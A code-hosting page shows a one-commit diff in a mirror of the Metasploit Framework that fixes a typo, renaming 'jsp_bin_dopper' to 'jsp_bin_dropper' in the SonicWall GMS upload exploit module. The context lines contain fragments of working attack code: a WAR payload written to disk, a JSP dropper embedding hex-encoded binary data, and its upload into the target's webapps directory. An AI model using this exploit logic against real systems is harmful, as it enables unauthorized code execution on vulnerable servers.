infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

typo

bug/bundler_fix
James Lee 2013-02-06 19:21:20 -06:00
parent 044fefd02a
commit b6c6397da3
1 changed files with 2 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
modules/exploits/multi/http/sonicwall_gms_upload.rb
View File

@ -186,7 +186,7 @@ class Metasploit3 < Msf::Exploit::Remote
}).to_s }).to_s
File.open("foo.war", "wb") { |fd| fd.write(war) } File.open("foo.war", "wb") { |fd| fd.write(war) }
dropper = jsp_bin_dopper(war, "#{install_path}webapps/foo.war") dropper = jsp_bin_dropper(war, "#{install_path}webapps/foo.war")
upload_file("#{install_path}webapps/appliance", "foo-dropper.jsp", dropper) upload_file("#{install_path}webapps/appliance", "foo-dropper.jsp", dropper)
send_request_cgi( send_request_cgi(
{ {
@ -201,7 +201,7 @@ class Metasploit3 < Msf::Exploit::Remote
}) })
end end
def jsp_bin_dopper(bin_data, output_file) def jsp_bin_dropper(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n| jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|